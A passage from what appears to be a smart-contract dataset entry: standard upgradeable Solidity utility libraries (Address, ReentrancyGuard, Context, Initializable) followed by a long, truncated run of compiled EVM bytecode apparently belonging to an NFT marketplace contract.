// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
} | 0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80638102d8851161010f578063d3f494cc116100a2578063f2fde38b11610071578063f2fde38b1461071b578063f3880b6e14610741578063f3ad65f414610777578063f5fe7f711461077f576101f0565b8063d3f494cc14610613578063e1e549c414610679578063e940ebeb146106a5578063e984f2eb146106e1576101f0565b80639750540a116100de5780639750540a14610538578063afb0695214610586578063b2ddee06146105a7578063c1661a9a146105d3576101f0565b80638102d885146104cf57806385f9d345146104ec5780638b424267146105285780638da5cb5b14610530576101f0565b806342cbb4b8116101875780636bd3a64b116101565780636bd3a64b1461042f578063715018a61461049357806378746d0d1461049b5780637cd16976146104c7576101f0565b806342cbb4b81461034a57806357b275b4146103905780635feb1298146103e357806368e79e8914610409576101f0565b80633740ebb3116101c35780633740ebb31461028c5780633bbb2806146102945780633fc1cc26146102ca57806341976e0914610312576101f0565b8063058a56ac146101f55780630d1366ec1461022357806319c06fdd1461024957806326232a2e1461026d575b600080fd5b6102216004803603604081101561020b57600080fd5b506001600160a01b0381351690602001356107a5565b005b6102216004803603602081101561023957600080fd5b50356001600160a01b031661093c565b6102516109c0565b604080516001600160a01b039092168252519081900360200190f35b6102756109cf565b6040805161ffff9092168252519081900360200190f35b6102516109d9565b610221600480360360608110156102aa57600080fd5b506001600160a01b038135811691602081013591604090910135166109ee565b610221600480360360c08110156102e057600080fd5b506001600160a01b03813581169160208101359160408201359160608101359091169060808101359060a00135611263565b6103386004803603602081101561032857600080fd5b50356001600160a01b03166117f9565b60408051918252519081900360200190f35b610221600480360360c081101561036057600080fd5b506001600160a01b0381358116916020810135916040820135169060608101359060808101359060a00135611a37565b6103b6600480360360208110156103a657600080fd5b50356001600160a01b0316611f1f565b6040805161ffff90941684526001600160a01b039283166020850152911682820152519081900360600190f35b610221600480360360208110156103f957600080fd5b50356001600160a01b0316611f51565b6102216004803603602081101561041f57600080fd5b50356001600160a01b0316611fd5565b6104656004803603606081101561044557600080fd5b506001600160a01b03813581169160208101359160409091013516612059565b604080519485526001600160a01b039093166020850152838301919091526060830152519081900360800190f35b61022161209b565b610251600480360360408110156104b157600080fd5b506001600160a01b038135169060200135612147565b61025161216d565b610221600480360360208110156104e557600080fd5b503561217c565b6102216004803603608081101561050257600080fd5b506001600160a01b038135811691602081013591604082013581169160600135166121e3565b610338612481565b610251612487565b610221600480360360c081101561054e57600080fd5b506001600160a01b03813581169161ffff60208201351691604082013581169160608101358216916080820135169060a00135612496565b6102216004803603602081101561059c57600080fd5b503561ffff166125bb565b610221600480360360408110156105bd57600080fd5b506001600160a01b038135169060200135612667565b610221600480360360808110156105e957600080fd5b506001600160a01b038135811691602081013582169161ffff60408301351691606001351661278a565b6106496004803603606081101561062957600080fd5b506001600160a01b03813581169160208101359160409091013516612a61565b604080516001600160a01b0390951685526020850193909352838301919091526060830152519081900360800190f35b6102756004803603604081101561068f57600080fd5b506001600160a01b038135169060200135612aa3565b610221600480360360808110156106bb57600080fd5b506001600160a01b03813581169160208101359160408201358116916060013516612ac4565b610221600480360360808110156106f757600080fd5b506001600160a01b0381358116916020810135916040820135169060600135612c9e565b6102216004803603602081101561073157600080fd5b50356001600160a01b0316612e9e565b6102216004803603606081101561075757600080fd5b5080356001600160a01b0316906020810135906040013561ffff16612fa1565b61025161312c565b6102216004803603602081101561079557600080fd5b50356001600160a01b031661313b565b81816107af6131fb565b6107b7614a9f565b506001600160a01b038084166000908152609a6020908152604080832086845282528083208585168452825291829020825160808101845281549094168452600181015491840182905260028101549284019290925260039091015460608301521580159061083057506108296131ff565b8160600151115b610881576040805162461bcd60e51b815260206004820152601b60248201527f6f66666572206e6f7420657869737473206f7220657870697265640000000000604482015290519081900360640190fd5b6001600160a01b0386166000908152609a602090815260408083208884529091528120906108ad6131fb565b6001600160a01b0390811682526020820192909252604001600090812080546001600160a01b031916815560018101829055600281018290556003015586166108f46131fb565b6001600160a01b03167fc6e24dcedb16cc237925b586889d0a38102c719734d6cc56acb89b013099b3a7876040518082815260200191505060405180910390a3505050505050565b6109446131fb565b6001600160a01b0316610955612487565b6001600160a01b03161461099e576040805162461bcd60e51b81526020600482018190526024820152600080516020614be9833981519152604482015290519081900360640190fd5b609c80546001600160a01b0319166001600160a01b0392909216919091179055565b609c546001600160a01b031681565b609b5461ffff1681565b609b546201000090046001600160a01b031681565b60026065541415610a34576040805162461bcd60e51b815260206004820152601f6024820152600080516020614b02833981519152604482015290519081900360640190fd5b6002606555828282610a44614a9f565b506001600160a01b038084166000908152609a60209081526040808320868452825280832085851684528252918290208251608081018452815490941684526001810154918401829052600281015492840192909252600390910154606083015215801590610abd5750610ab66131ff565b8160600151115b610b0e576040805162461bcd60e51b815260206004820152601b60248201527f6f66666572206e6f7420657869737473206f7220657870697265640000000000604482015290519081900360640190fd5b610b16614a9f565b506001600160a01b038088166000908152609a602090815260408083208a845282528083208985168452825291829020825160808101845281549094168452600181015491840191909152600281015491830191909152600301546060820152610b8d8888610b836131fb565b8460200151613203565b6000610baa8260200151836040015161349c90919063ffffffff16565b609b54909150600090610bd09061271090610bca90859061ffff1661349c565b906134fe565b609b548451919250600091610bfa916001600160a01b03918216918c916201000090041685613565565b6001600160a01b03808c1660008181526097602090815260408083208f8452825280832054938352609882528083208f845290915290205491169061ffff168115801590610c4b575061ffff811615155b15610c9957610c6e612710610bca61ffff8416610c6889896135bf565b9061349c565b8651909350610c88906001600160a01b03168c8486613565565b610c92848461361c565b9350610d18565b50506001600160a01b03808c166000908152609f602052604090206001810154905491169061ffff168115801590610cd4575061ffff811615155b15610d1857610cf1612710610bca61ffff8416610c6889896135bf565b8651909350610d0b906001600160a01b03168c8486613565565b610d15848461361c565b93505b610d418b610d246131fb565b610d2e88886135bf565b89516001600160a01b0316929190613565565b604080516301ffc9a760e01b81526380ac58cd60e01b600482015290516001600160a01b038f16916301ffc9a7916024808301926020929190829003018186803b158015610d8e57600080fd5b505afa158015610da2573d6000803e3d6000fd5b505050506040513d6020811015610db857600080fd5b505115610e4b578c6001600160a01b03166342842e0e610dd66131fb565b8d8f6040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050600060405180830381600087803b158015610e2e57600080fd5b505af1158015610e42573d6000803e3d6000fd5b50505050610f58565b8c6001600160a01b031663f242432a610e626131fb565b8d8f8a60200151604051806020016040528060008152506040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b0316815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610eef578181015183820152602001610ed7565b50505050905090810190601f168015610f1c5780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b158015610f3f57600080fd5b505af1158015610f53573d6000803e3d6000fd5b505050505b60a060009054906101000a90046001600160a01b03166001600160a01b0316639e1f5b286040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa657600080fd5b505afa158015610fba573d6000803e3d6000fd5b505050506040513d6020811015610fd057600080fd5b81019080805190602001909291905050506001600160a01b03166327c1f4f48e8e89602001516040518463ffffffff1660e01b815260040180846001600160a01b031681526020018381526020018281526020019350505050600060405180830381600087803b15801561104357600080fd5b505af1158015611057573d6000803e3d6000fd5b505050508c6001600160a01b03168b6001600160a01b03166110776131fb565b6001600160a01b03167f949d1413baca5c0e4ab96b0198d536cac8cdcc17cb909b9ea24594f42ed9fa0d8f8a602001518b600001516110b98d600001516117f9565b6040808f0151815195865260208601949094526001600160a01b039092168483015260608401526080830191909152519081900360a00190a48c6001600160a01b03168b6001600160a01b03167fc6e24dcedb16cc237925b586889d0a38102c719734d6cc56acb89b013099b3a78e6040518082815260200191505060405180910390a36001600160a01b038d1660009081526099602090815260408083208f84529091528120906111696131fb565b6001600160a01b03166001600160a01b031681526020019081526020016000206000808201600090556001820160006101000a8154906001600160a01b030219169055600282016000905560038201600090555050609a60008e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d815260200190815260200160002060008c6001600160a01b03166001600160a01b03168152602001908152602001600020600080820160006101000a8154906001600160a01b0302191690556001820160009055600282016000905560038201600090555050505050505050505050506001606581905550505050565b858561126d6131fb565b611275614ad0565b506001600160a01b03808416600090815260996020908152604080832086845282528083208585168452825291829020825160808101845281548082526001830154909516928101929092526002810154928201929092526003909101546060820152901561131c576040805162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481b1a5cdd195960921b604482015290519081900360640190fd5b604080516301ffc9a760e01b81526380ac58cd60e01b600482015290516001600160a01b038c16916301ffc9a7916024808301926020929190829003018186803b15801561136957600080fd5b505afa15801561137d573d6000803e3d6000fd5b505050506040513d602081101561139357600080fd5b50511561154557896113a36131fb565b6001600160a01b0316816001600160a01b0316636352211e8c6040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156113f057600080fd5b505afa158015611404573d6000803e3d6000fd5b505050506040513d602081101561141a57600080fd5b50516001600160a01b031614611469576040805162461bcd60e51b815260206004820152600f60248201526e6e6f74206f776e696e67206974656d60881b604482015290519081900360640190fd5b806001600160a01b031663e985e9c56114806131fb565b306040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b031681526020019250505060206040518083038186803b1580156114ce57600080fd5b505afa1580156114e2573d6000803e3d6000fd5b505050506040513d60208110156114f857600080fd5b505161153f576040805162461bcd60e51b81526020600482015260116024820152701a5d195b481b9bdd08185c1c1c9bdd9959607a1b604482015290519081900360640190fd5b506116da565b604080516301ffc9a760e01b8152636cdb3d1360e11b600482015290516001600160a01b038c16916301ffc9a7916024808301926020929190829003018186803b15801561159257600080fd5b505afa1580156115a6573d6000803e3d6000fd5b505050506040513d60208110156115bc57600080fd5b5051156116975789886001600160a01b03821662fdd58e6115db6131fb565b8d6040518363ffffffff1660e01b815260040180836001600160a01b031681526020018281526020019250505060206040518083038186803b15801561162057600080fd5b505afa158015611634573d6000803e3d6000fd5b505050506040513d602081101561164a57600080fd5b50511015611469576040805162461bcd60e51b81526020600482015260156024820152746d75737420686f6c6420656e6f756768206e66747360581b604482015290519081900360640190fd5b6040805162461bcd60e51b8152602060048201526013602482015272696e76616c6964206e6674206164647265737360681b604482015290519081900360640190fd5b6116e387613676565b604080516080810182528981526001600160a01b03808a166020808401919091528284018a905260608301899052908d166000908152609982528381208d825290915291822090916117336131fb565b6001600160a01b039081168252602080830193909352604091820160002084518155928401516001840180546001600160a01b0319169183169190911790559083015160028301556060909201516003909101558a166117916131fb565b604080518c8152602081018c90526001600160a01b038b811682840152606082018b9052608082018a9052915192909116917fa0294f02f8ad82fe4744717b0f953a105547196cd3c67056200c1a4ae3aa26299181900360a00190a350505050505050505050565b60008060008060a060009054906101000a90046001600160a01b03166001600160a01b031663741bef1a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561184d57600080fd5b505afa158015611861573d6000803e3d6000fd5b505050506040513d602081101561187757600080fd5b505190506001600160a01b03851661197b57806001600160a01b03166341976e09826001600160a01b031663f24286216040518163ffffffff1660e01b815260040160206040518083038186803b1580156118d157600080fd5b505afa1580156118e5573d6000803e3d6000fd5b505050506040513d60208110156118fb57600080fd5b5051604080516001600160e01b031960e085901b1681526001600160a01b0390921660048301528051602480840193829003018186803b15801561193e57600080fd5b505afa158015611952573d6000803e3d6000fd5b505050506040513d604081101561196857600080fd5b50805160209091015190935091506119f9565b604080516341976e0960e01b81526001600160a01b0387811660048301528251908416926341976e099260248082019391829003018186803b1580156119c057600080fd5b505afa1580156119d4573d6000803e3d6000fd5b505050506040513d60408110156119ea57600080fd5b50805160209091015190935091505b60128260ff161015611a18578160120360ff16600a0a83029250611a2e565b6012820360ff16600a0a8381611a2a57fe5b0592505b50909392505050565b8585611a416131fb565b611a49614a9f565b506001600160a01b038084166000908152609a6020908152604080832086845282528083208585168452825291829020825160808101845281549094168452600181015491840182905260028101549284019290925260039091015460608301521580611ac15750611ab96131ff565b816060015111155b611b0a576040805162461bcd60e51b81526020600482015260156024820152741bd999995c88185b1c9958591e4818dc99585d1959605a1b604482015290519081900360640190fd5b604080516301ffc9a760e01b81526380ac58cd60e01b600482015290516001600160a01b038c16916301ffc9a7916024808301926020929190829003018186803b158015611b5757600080fd5b505afa158015611b6b573d6000803e3d6000fd5b505050506040513d6020811015611b8157600080fd5b505180611c035750604080516301ffc9a760e01b8152636cdb3d1360e11b600482015290516001600160a01b038c16916301ffc9a7916024808301926020929190829003018186803b158015611bd657600080fd5b505afa158015611bea573d6000803e3d6000fd5b505050506040513d6020811015611c0057600080fd5b50515b611c4a576040805162461bcd60e51b8152602060048201526013602482015272696e76616c6964206e6674206164647265737360681b604482015290519081900360640190fd5b60a05460408051637d9f6db560e01b815290516000926001600160a01b031691637d9f6db5916004808301926020929190829003018186803b158015611c8f57600080fd5b505afa158015611ca3573d6000803e3d6000fd5b505050506040513d6020811015611cb957600080fd5b50516040805163227c8e0f60e11b81526001600160a01b038e81166004830152602482018e9052915192935060009283928516916344f91c1e9160448083019260c0929190829003018186803b158015611d1257600080fd5b505afa158015611d26573d6000803e3d6000fd5b505050506040513d60c0811015611d3c57600080fd5b50606081015160a0909101519092509050811580611d5c57506001811515145b611d975760405162461bcd60e51b815260040180806020018281038252602c815260200180614b22602c913960400191505060405180910390fd5b611d9f6131ff565b8811611de7576040805162461bcd60e51b815260206004820152601260248201527134b73b30b634b21032bc3834b930ba34b7b760711b604482015290519081900360640190fd5b611df08b613676565b60405180608001604052808c6001600160a01b031681526020018b81526020018a815260200189815250609a60008f6001600160a01b03166001600160a01b0316815260200190815260200160002060008e81526020019081526020016000206000611e5a6131fb565b6001600160a01b0390811682526020808301939093526040918201600020845181546001600160a01b0319169083161781559284015160018401559083015160028301556060909201516003909101558d16611eb46131fb565b604080518f8152602081018e90526001600160a01b038f811682840152606082018e9052608082018d9052915192909116917f89f255157c655b5155655107b77c620998e5ad4e7485d749e4e6d7ddb63e70f69181900360a00190a350505050505050505050505050565b609f602052600090815260409020805460019091015461ffff8216916001600160a01b03620100009091048116911683565b611f596131fb565b6001600160a01b0316611f6a612487565b6001600160a01b031614611fb3576040805162461bcd60e51b81526020600482018190526024820152600080516020614be9833981519152604482015290519081900360640190fd5b609d80546001600160a01b0319166001600160a01b0392909216919091179055565b611fdd6131fb565b6001600160a01b0316611fee612487565b6001600160a01b031614612037576040805162461bcd60e51b81526020600482018190526024820152600080516020614be9833981519152604482015290519081900360640190fd5b60a080546001600160a01b0319166001600160a01b0392909216919091179055565b6099602090815260009384526040808520825292845282842090528252902080546001820154600283015460039093015491926001600160a01b039091169184565b6120a36131fb565b6001600160a01b03166120b4612487565b6001600160a01b0316146120fd576040805162461bcd60e51b81526020600482018190526024820152600080516020614be9833981519152604482015290519081900360640190fd5b6033546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380546001600160a01b0319169055565b60976020908152600092835260408084209091529082529020546001600160a01b031681565b609d546001600160a01b031681565b6121846131fb565b6001600160a01b0316612195612487565b6001600160a01b0316146121de576040805162461bcd60e51b81526020600482018190526024820152600080516020614be9833981519152604482015290519081900360640190fd5b609e55565b60026065541415612229576040805162461bcd60e51b815260206004820152601f6024820152600080516020614b02833981519152604482015290519081900360640190fd5b6002606555838382612239614ad0565b506001600160a01b03808416600090815260996020908152604080832086845282528083208585168452825291829020825160808101845281548082526001830154909516928101929092526002810154928201929092526003909101546060820152906122e0576040805162461bcd60e51b815260206004820152600f60248201526e6e6f74206c6973746564206974656d60881b604482015290519081900360640190fd5b8787866122eb614ad0565b506001600160a01b038084166000908152609960209081526040808320868452825280832085851684528252918290208251608081018452815480825260018301549095169281019290925260028101549282019290925260039091015460608201529061235e90859085908590613203565b806060015161236b6131ff565b10156123b1576040805162461bcd60e51b815260206004820152601060248201526f6974656d206e6f742062757961626c6560801b604482015290519081900360640190fd5b6123b9614ad0565b506001600160a01b03808d1660009081526099602090815260408083208f845282528083208d851684528252918290208251608081018452815481526001820154851692810183905260028201549381019390935260030154606083015290918c1614612461576040805162461bcd60e51b815260206004820152601160248201527034b73b30b634b2103830bc903a37b5b2b760791b604482015290519081900360640190fd5b61246d8d8d8d8d613843565b505060016065555050505050505050505050565b609e5481565b6033546001600160a01b031690565b600054610100900460ff16806124af57506124af613ebb565b806124bd575060005460ff16155b6124f85760405162461bcd60e51b815260040180806020018281038252602e815260200180614b9a602e913960400191505060405180910390fd5b600054610100900460ff16158015612523576000805460ff1961ff0019909116610100171660011790555b609b805461ffff191661ffff88161762010000600160b01b031916620100006001600160a01b038a81169190910291909117909155609d80546001600160a01b031990811688841617909155609e84905560a080548216868416179055609c8054909116918616919091179055612598613ecc565b6125a0613f7d565b80156125b2576000805461ff00191690555b50505050505050565b6125c36131fb565b6001600160a01b03166125d4612487565b6001600160a01b03161461261d576040805162461bcd60e51b81526020600482018190526024820152600080516020614be9833981519152604482015290519081900360640190fd5b609b805461ffff831661ffff19909116811790915560408051918252517fcabead39256298cdf7d1228eee68b47bc54a2192283d8d93574da08d2d7ac3039181900360200190a150565b600260655414156126ad576040805162461bcd60e51b815260206004820152601f6024820152600080516020614b02833981519152604482015290519081900360640190fd5b600260655581816126bc6131fb565b6126c4614ad0565b506001600160a01b038084166000908152609960209081526040808320868452825280832085851684528252918290208251608081018452815480825260018301549095169281019290925260028101549282019290925260039091015460608201529061276b576040805162461bcd60e51b815260206004820152600f60248201526e6e6f74206c6973746564206974656d60881b604482015290519081900360640190fd5b61277d86866127786131fb565b614012565b5050600160655550505050565b6127926131fb565b6001600160a01b03166127a3612487565b6001600160a01b0316146127ec576040805162461bcd60e51b81526020600482018190526024820152600080516020614be9833981519152604482015290519081900360640190fd5b6001600160a01b038316612847576040805162461bcd60e51b815260206004820152601760248201527f696e76616c69642063726561746f722061646472657373000000000000000000604482015290519081900360640190fd5b6127108261ffff161115612894576040805162461bcd60e51b815260206004820152600f60248201526e696e76616c696420726f79616c747960881b604482015290519081900360640190fd5b61ffff821615806128ad57506001600160a01b03811615155b6128fe576040805162461bcd60e51b815260206004820152601d60248201527f696e76616c69642066656520726563697069656e742061646472657373000000604482015290519081900360640190fd5b6129078461411a565b1561294f576040805162461bcd60e51b8152602060048201526013602482015272696e76616c6964206e6674206164647265737360681b604482015290519081900360640190fd5b6001600160a01b038481166000908152609f602052604090205462010000900416612a01576040805160608101825261ffff80851682526001600160a01b0380871660208085019182528683168587019081528a84166000908152609f9092529590209351845491518316620100000262010000600160b01b03199190941661ffff199092169190911716919091178255915160019091018054919092166001600160a01b0319909116179055612a5b565b6001600160a01b038481166000908152609f6020526040902080546001820180546001600160a01b03191685851617905561ffff191661ffff85161762010000600160b01b03191662010000928616929092029190911790555b50505050565b609a60209081526000938452604080852082529284528284209052825290208054600182015460028301546003909301546001600160a01b0390921692909184565b609860209081526000928352604080842090915290825290205461ffff1681565b612acc6131fb565b6001600160a01b031660a060009054906101000a90046001600160a01b03166001600160a01b0316639e1f5b286040518163ffffffff1660e01b815260040160206040518083038186803b158015612b2357600080fd5b505afa158015612b37573d6000803e3d6000fd5b505050506040513d6020811015612b4d57600080fd5b50516001600160a01b031614612b945760405162461bcd60e51b8152600401808060200182810382526021815260200180614c096021913960400191505060405180910390fd5b612b9c614ad0565b506001600160a01b038085166000908152609960209081526040808320878452825280832086851684528252918290208251608081018452815480825260018301549095169281019290925260028101549282019290925260039091015460608201529015612c1057612c10858585614012565b6001600160a01b038086166000818152609a60209081526040808320898452825280832094871680845294825280832080546001600160a01b0319168155600181018490556002810184905560030192909255815188815291519293927fc6e24dcedb16cc237925b586889d0a38102c719734d6cc56acb89b013099b3a79281900390910190a35050505050565b60026065541415612ce4576040805162461bcd60e51b815260206004820152601f6024820152600080516020614b02833981519152604482015290519081900360640190fd5b60026065558383612cf36131fb565b612cfb614ad0565b506001600160a01b0380841660009081526099602090815260408083208684528252808320858516845282529182902082516080810184528154808252600183015490951692810192909252600281015492820192909252600390910154606082015290612da2576040805162461bcd60e51b815260206004820152600f60248201526e6e6f74206c6973746564206974656d60881b604482015290519081900360640190fd5b6001600160a01b03881660009081526099602090815260408083208a8452909152812081612dce6131fb565b6001600160a01b03166001600160a01b031681526020019081526020016000209050612e048989612dfd6131fb565b8454613203565b612e0d87613676565b6001810180546001600160a01b0319166001600160a01b0389811691909117909155600282018790558916612e406131fb565b604080518b81526001600160a01b038b811660208301528183018b90529151929091